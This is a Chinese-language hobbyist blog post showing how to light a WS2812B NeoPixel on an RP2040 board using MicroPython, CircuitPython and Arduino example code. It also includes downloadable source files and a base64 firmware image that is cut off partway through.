<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnshbi9N828yj1QYE4p2kx-ujg9ZikyP7psH4_XcDxVo214F4DLdW6qTAlcCjbiU3wpEDfTmBXJULsBTNn-EC1Db3GBNmBcIFYAexXdLj_dmSvV6CjeQbPyL35raJf5Hkm1UKr5PHJG5j49fr4EXEvB_sYCnM34sB7yup4LwtbI_71iRfMy-vvzq90/w0/rp2040-neopixel-010.gif"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjnshbi9N828yj1QYE4p2kx-ujg9ZikyP7psH4_XcDxVo214F4DLdW6qTAlcCjbiU3wpEDfTmBXJULsBTNn-EC1Db3GBNmBcIFYAexXdLj_dmSvV6CjeQbPyL35raJf5Hkm1UKr5PHJG5j49fr4EXEvB_sYCnM34sB7yup4LwtbI_71iRfMy-vvzq90/w600/rp2040-neopixel-010.gif"/></a></div>
<div>NeoPixel 能混合顯示不同顏色</div>
<br/>
<div><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRXR4s0SLJUXitoRWFMwv6WI0dX3rTXCbfqRARNb10aU5Tg42-hBjJ2kt2TtPNVTwKZs4z_dy9O5MU11ATIzkZG2rJm4PwU0ncvrSs4Sf5VQRCpuqyWHVARbijWU9Z3KcTk2pYDi84hmCLREnrKvWf09H5oorRpkxWAN3RgHWuvG4UGX6-QnAkYIU8/w0/rp2040-neopixel-011.gif"><img alt="見下文" title="見下文" width="600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgRXR4s0SLJUXitoRWFMwv6WI0dX3rTXCbfqRARNb10aU5Tg42-hBjJ2kt2TtPNVTwKZs4z_dy9O5MU11ATIzkZG2rJm4PwU0ncvrSs4Sf5VQRCpuqyWHVARbijWU9Z3KcTk2pYDi84hmCLREnrKvWf09H5oorRpkxWAN3RgHWuvG4UGX6-QnAkYIU8/w600/rp2040-neopixel-011.gif"/></a></div>
<div>NeoPixel 具備 8位元亮度</div>
<br/>
<a name="使用MicroPython"></a><h4 class="mra-h4">使用 MicroPython</h4>
<div>由於 MicroPython 已經內建 NeoPixel 函式庫,不需要額外函式庫已經能夠驅動 WS2812B</div>
<pre class="brush:python">from machine import Pin
from time import sleep
from neopixel import NeoPixel
DELAY = 1
LEVEL = 0x10
CLEAR = 0x00
COLOR = [
(CLEAR, CLEAR, CLEAR), # NONE
(LEVEL, CLEAR, CLEAR), # RED
(CLEAR, LEVEL, CLEAR), # GREEN
(CLEAR, CLEAR, LEVEL), # BLUE
(LEVEL, LEVEL, CLEAR), # YELLOW
(CLEAR, LEVEL, LEVEL), # CYAN
(LEVEL, CLEAR, LEVEL), # MAGENTA
(LEVEL, LEVEL, LEVEL), # WHITE
]
PIN = 16
NUM = 1
rgb = NeoPixel(Pin(PIN, Pin.OUT), NUM)
while True:
for i in COLOR:
for j in range(NUM):
rgb[j] = i
rgb.write()
sleep(DELAY)</pre>
<div><a href="data:text/plain;UTF-8,from%20machine%20import%20Pin%0Afrom%20time%20import%20sleep%0Afrom%20neopixel%20import%20NeoPixel%0A%0ADELAY%20%3D%201%0ALEVEL%20%3D%200x10%0ACLEAR%20%3D%200x00%0ACOLOR%20%3D%20%5B%0A%09%28CLEAR%2C%20CLEAR%2C%20CLEAR%29%2C%20%23%20NONE%0A%09%28LEVEL%2C%20CLEAR%2C%20CLEAR%29%2C%20%23%20RED%0A%09%28CLEAR%2C%20LEVEL%2C%20CLEAR%29%2C%20%23%20GREEN%0A%09%28CLEAR%2C%20CLEAR%2C%20LEVEL%29%2C%20%23%20BLUE%0A%09%28LEVEL%2C%20LEVEL%2C%20CLEAR%29%2C%20%23%20YELLOW%0A%09%28CLEAR%2C%20LEVEL%2C%20LEVEL%29%2C%20%23%20CYAN%0A%09%28LEVEL%2C%20CLEAR%2C%20LEVEL%29%2C%20%23%20MAGENTA%0A%09%28LEVEL%2C%20LEVEL%2C%20LEVEL%29%2C%20%23%20WHITE%0A%5D%0APIN%20%3D%2016%0ANUM%20%3D%201%0A%0Argb%20%3D%20NeoPixel%28Pin%28PIN%2C%20Pin.OUT%29%2C%20NUM%29%0A%0Awhile%20True%3A%0A%09for%20i%20in%20COLOR%3A%0A%09%09for%20j%20in%20range%28NUM%29%3A%0A%09%09%09rgb%5Bj%5D%20%3D%20i%0A%09%09%09rgb.write%28%29%0A%09%09%09sleep%28DELAY%29" download="main.py">按此下載 main.py</a></div>
<br/>
<a name="使用CircuitPython"></a><h4 class="mra-h4">使用 CircuitPython</h4>
<pre class="brush:python">import digitalio
from neopixel_write import neopixel_write
from adafruit_pixelbuf import PixelBuf
class NeoPixel(PixelBuf):
def __init__(self, dinPin, number):
super().__init__(number, auto_write = False, byteorder = "GRB")
self.__din = digitalio.DigitalInOut(dinPin)
self.__din.direction = digitalio.Direction.OUTPUT
def _transmit(self, buffer):
neopixel_write(self.__din, buffer)</pre>
<div><a href="data:text/plain;UTF-8,import%20digitalio%0Afrom%20neopixel_write%20import%20neopixel_write%0Afrom%20adafruit_pixelbuf%20import%20PixelBuf%0A%0Aclass%20NeoPixel%28PixelBuf%29%3A%0A%09def%20__init__%28self%2C%20dinPin%2C%20number%29%3A%0A%09%09super%28%29.__init__%28number%2C%20auto_write%20%3D%20False%2C%20byteorder%20%3D%20%22GRB%22%29%0A%09%09self.__din%20%3D%20digitalio.DigitalInOut%28dinPin%29%0A%09%09self.__din.direction%20%3D%20digitalio.Direction.OUTPUT%0A%09def%20_transmit%28self%2C%20buffer%29%3A%0A%09%09neopixel_write%28self.__din%2C%20buffer%29" download="neopixel.py">按此下載 neopixel.py</a></div>
<br/>
<div>這個類別實際只是將 Adafruit 的 neopixel.py 簡化到與 MicroPython 用途相似的的內容</div>
<pre class="brush:python">import board
from time import sleep
from neopixel import NeoPixel
DELAY = 1
LEVEL = 0x10
CLEAR = 0x00
COLOR = [
(CLEAR, CLEAR, CLEAR), # NONE
(CLEAR, LEVEL, CLEAR), # RED
(LEVEL, CLEAR, CLEAR), # GREEN
(CLEAR, CLEAR, LEVEL), # BLUE
(LEVEL, LEVEL, CLEAR), # YELLOW
(LEVEL, CLEAR, LEVEL), # CYAN
(CLEAR, LEVEL, LEVEL), # MAGENTA
(LEVEL, LEVEL, LEVEL), # WHITE
]
PIN = board.GP16
NUM = 1
rgb = NeoPixel(PIN, NUM)
while True:
for i in COLOR:
for j in range(NUM):
rgb[j] = i
rgb.show()
sleep(DELAY)</pre>
<div><a href="data:text/plain;UTF-8,import%20board%0Afrom%20time%20import%20sleep%0Afrom%20neopixel%20import%20NeoPixel%0A%0ADELAY%20%3D%201%0ALEVEL%20%3D%200x10%0ACLEAR%20%3D%200x00%0ACOLOR%20%3D%20%5B%0A%09%28CLEAR%2C%20CLEAR%2C%20CLEAR%29%2C%20%23%20NONE%0A%09%28CLEAR%2C%20LEVEL%2C%20CLEAR%29%2C%20%23%20RED%0A%09%28LEVEL%2C%20CLEAR%2C%20CLEAR%29%2C%20%23%20GREEN%0A%09%28CLEAR%2C%20CLEAR%2C%20LEVEL%29%2C%20%23%20BLUE%0A%09%28LEVEL%2C%20LEVEL%2C%20CLEAR%29%2C%20%23%20YELLOW%0A%09%28LEVEL%2C%20CLEAR%2C%20LEVEL%29%2C%20%23%20CYAN%0A%09%28CLEAR%2C%20LEVEL%2C%20LEVEL%29%2C%20%23%20MAGENTA%0A%09%28LEVEL%2C%20LEVEL%2C%20LEVEL%29%2C%20%23%20WHITE%0A%5D%0APIN%20%3D%20board.GP16%0ANUM%20%3D%201%0A%0Argb%20%3D%20NeoPixel%28PIN%2C%20NUM%29%0A%0Awhile%20True%3A%0A%09for%20i%20in%20COLOR%3A%0A%09%09for%20j%20in%20range%28NUM%29%3A%0A%09%09%09rgb%5Bj%5D%20%3D%20i%0A%09%09%09rgb.show%28%29%0A%09%09%09sleep%28DELAY%29" download="code.py">按此下載 code.py</a></div>
<a name="使用Arduino"></a><h4 class="mra-h4">使用 Arduino</h4>
<pre class="brush:cpp">#include <Adafruit_NeoPixel.h>
const unsigned int DELAY = 1000;
const byte LEVEL = 0x10;
const byte CLEAR = 0x00;
const unsigned long COLOR[] = {
(0UL + CLEAR) << 16 | (0UL + CLEAR) << 8 | CLEAR, // NONE
(0UL + CLEAR) << 16 | (0UL + LEVEL) << 8 | CLEAR, // RED
(0UL + LEVEL) << 16 | (0UL + CLEAR) << 8 | CLEAR, // GREEN
(0UL + CLEAR) << 16 | (0UL + CLEAR) << 8 | LEVEL, // BLUE
(0UL + LEVEL) << 16 | (0UL + LEVEL) << 8 | CLEAR, // YELLOW
(0UL + LEVEL) << 16 | (0UL + CLEAR) << 8 | LEVEL, // CYAN
(0UL + CLEAR) << 16 | (0UL + LEVEL) << 8 | LEVEL, // MAGENTA
(0UL + LEVEL) << 16 | (0UL + LEVEL) << 8 | LEVEL, // WHITE
};
const byte PIN = 16;
const unsigned int NUM = 1;
Adafruit_NeoPixel rgb = Adafruit_NeoPixel(NUM, PIN, NEO_GRB + NEO_KHZ800);
void setup() {
rgb.begin();
}
void loop() {
for (unsigned int i = 0; i < sizeof(COLOR) / sizeof(unsigned long); i++) {
for (unsigned int j = 0; j < NUM; j++) {
rgb.setPixelColor(j, COLOR[i]);
rgb.show();
delay(DELAY);
}
}
}</pre>
<div><a href="data:text/plain;UTF-8,%23include%20%3CAdafruit_NeoPixel.h%3E%0A%0Aconst%20unsigned%20int%20DELAY%20%3D%201000%3B%0Aconst%20byte%20LEVEL%20%3D%200x10%3B%0Aconst%20byte%20CLEAR%20%3D%200x00%3B%0Aconst%20unsigned%20long%20COLOR%5B%5D%20%3D%20%7B%0A%09%280UL%20%2B%20CLEAR%29%20%3C%3C%2016%20%7C%20%280UL%20%2B%20CLEAR%29%20%3C%3C%208%20%7C%20CLEAR%2C%20%2F%2F%20NONE%0A%09%280UL%20%2B%20CLEAR%29%20%3C%3C%2016%20%7C%20%280UL%20%2B%20LEVEL%29%20%3C%3C%208%20%7C%20CLEAR%2C%20%2F%2F%20RED%0A%09%280UL%20%2B%20LEVEL%29%20%3C%3C%2016%20%7C%20%280UL%20%2B%20CLEAR%29%20%3C%3C%208%20%7C%20CLEAR%2C%20%2F%2F%20GREEN%0A%09%280UL%20%2B%20CLEAR%29%20%3C%3C%2016%20%7C%20%280UL%20%2B%20CLEAR%29%20%3C%3C%208%20%7C%20LEVEL%2C%20%2F%2F%20BLUE%0A%09%280UL%20%2B%20LEVEL%29%20%3C%3C%2016%20%7C%20%280UL%20%2B%20LEVEL%29%20%3C%3C%208%20%7C%20CLEAR%2C%20%2F%2F%20YELLOW%0A%09%280UL%20%2B%20LEVEL%29%20%3C%3C%2016%20%7C%20%280UL%20%2B%20CLEAR%29%20%3C%3C%208%20%7C%20LEVEL%2C%20%2F%2F%20CYAN%0A%09%280UL%20%2B%20CLEAR%29%20%3C%3C%2016%20%7C%20%280UL%20%2B%20LEVEL%29%20%3C%3C%208%20%7C%20LEVEL%2C%20%2F%2F%20MAGENTA%0A%09%280UL%20%2B%20LEVEL%29%20%3C%3C%2016%20%7C%20%280UL%20%2B%20LEVEL%29%20%3C%3C%208%20%7C%20LEVEL%2C%20%2F%2F%20WHITE%0A%7D%3B%0Aconst%20byte%20PIN%20%3D%2016%3B%0Aconst%20unsigned%20int%20NUM%20%3D%201%3B%0A%0AAdafruit_NeoPixel%20rgb%20%3D%20Adafruit_NeoPixel%28NUM%2C%20PIN%2C%20NEO_GRB%20%2B%20NEO_KHZ800%29%3B%0A%0Avoid%20setup%28%29%20%7B%0A%09rgb.begin%28%29%3B%0A%7D%0A%0Avoid%20loop%28%29%20%7B%0A%09for%20%28unsigned%20int%20i%20%3D%200%3B%20i%20%3C%20sizeof%28COLOR%29%20%2F%20sizeof%28unsigned%20long%29%3B%20i%2B%2B%29%20%7B%0A%09%09for%20%28unsigned%20int%20j%20%3D%200%3B%20j%20%3C%20NUM%3B%20j%2B%2B%29%20%7B%0A%09%09%09rgb.setPixelColor%28j%2C%20COLOR%5Bi%5D%29%3B%0A%09%09%09rgb.show%28%29%3B%0A%09%09%09delay%28DELAY%29%3B%0A%09%09%7D%0A%09%7D%0A%7D" download="TestNeoPixel.ino">按此下載 TestNeoPixel.ino</a></div>
<br/>
<div>或 <a href="data:text/plain;base64,VUYyCldRXZ4AIAAAAAAAEAABAAAAAAAAAwEAAFb/i+QAtQxLACGZYAIhWWEKSRlgCkkLSAFgACFZ
YAEhmWABvAAoANAARwdIB0kIYAPIgPMIiAhHAAAAGAADHwAYAgAD9AAAGAABABAI7QDgAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADq
IkxdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBvsQpV
RjIKV1FdngAgAAAAAQAQAAEAAAEAAAADAQAAVv+L5AAgBCDjAQAQwwEAEMUBABDBAQAQwQEAEMEB
ABDBAQAQwQEAEMEBABDBAQAQxwEAEMEBABDBAQAQyQEAEMsBABDNAQAQzQEAEM0BABDNAQAQzQEA
EM0BABDNAQAQzQEAEM0BABDNAQAQzQEAEM0BABDNAQAQzQEAEM0BABDNAQAQzQEAEM0BABDNAQAQ
zQEAEM0BABDNAQAQzQEAEM0BABDNAQAQzQEAEM0BABDNAQAQzQEAEM0BABDNAQAQzQEAEAC+AL4A
vgC+AL4AvgDwR/gQOAC+ACAkSQhgBsiB8wiIEEciSABoACg10Q2kDswAKQLQAPAS+PnnHUkeSgAg
AOAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+xClVG
MgpXUV2eACAAAAACABAAAQAAAgAAAAMBAABW/4vkAcGRQvzRHEmIRxxJiEccSYhHAL795wHJAcKa
QvvTcEeYAgAQwAAAIEQiACAcJAAQUCIAIBwlACDoJgAQAAAEIAAABCDoJgAQABAEIAAQBCAAAAAA
cEcLSADwFvgAR+/zBYDAsnBHAAAI7QDgAAAA0BwlACD81QAgLR4AIF0BACCZAQAgV1YAAAG0AkiE
RgG8YEcAv7MbACD4tcBGBEgFSxC1g0ID0ARLACsA0JhHEL0cJQAgHCUAIAAAAAAGSAdJCRqLEMkP
yRgQtUkQA9AESwArANCYRxC9HCUAIBwlACAAAAAAELUHTCN4ACsJ0f/31f8FSwArAtAESADgAL8B
IwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwb7EKVUYy
CldRXZ4AIAAAAAMAEAABAAADAAAAAwEAAFb/i+QjcBC9HCUAIAAAAABEIgAgBUsQtQArA9AESQVI
AOAAv//3zP8QvcBGAAAAACAlACBEIgAgsLWCsACveGA5YADwGfgISwhKmmAHSx1oB0sbaBwAKwCd
RqBHACMYAL1GArCwvcBGAO0A4AAwABAEMAAQ/uf+50pLcLUbaIiwGGhJSxtoGmiQQj3QgCESGkkB
APD9+AAoNtBETAepIAAA8Ej5ACgv0AgiIABASQHwbf8AKCjRASMBIT5NW0ImXHNACCYaAFsICkAA
0GtAAT4ALvfRoyIBMJIAkELv0dtDIliaQhDRo2gAKw3QgCVtAS5Lm2izQgnYB5gA8MH4ACFkIggA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADBvsQpVRjIK
V1FdngAgAAAABAAQAAEAAAQAAAADAQAAVv+L5AHwyv0IsHC942gBKxPRIAAQMADwN/kAKPTQIG0A
8Kz5ACjv0GNtAJOjbQGTAJsAKwTRAPC0+QE2UDTX5wCbApOrQgDZApUCmADwcPkDkAAo2NAqAAGZ
AfAX/wAoFdDv8xCDBZNytvAiEgaURgGbKQBjRBgABJMB8Pf/KgADmQSYAvAu+AWbg/MQiACbApqb
GoAiUgGURgCTAZtjRAGTxee4JAAgtCQAIFgmACB8IwAgIIO47QAgcEcJSxC1GmhRQwhKEGhAGO/z
EIRytvAiEgYZaIAYAfDI/4TzEIgAIBC9OCUAIOgoACAKSBC1BGhMQ6QYCUoQaAAZ7/MQhHK28CIA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMG+xClVGMgpX
UV2eACAAAAAFABAAAQAABQAAAAMBAABW/4vkEgaAGBkAApoB8Or/hPMQiAAgEL04JQAg6CgAIHC1
DQAYAAdLHGgHS0xDGWikGAkZBJoB8KH+BEsAIB1gcL3ARjglACDoKAAgkCUAIIAjcLUHTQQAKgAF
YAZJWwEGSAHwGfgjaC0YWhxlYCJgGHhwvfguACA8JQAglCUAIBC1AQABSP/3mf8QvQwmACD4tR1L
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
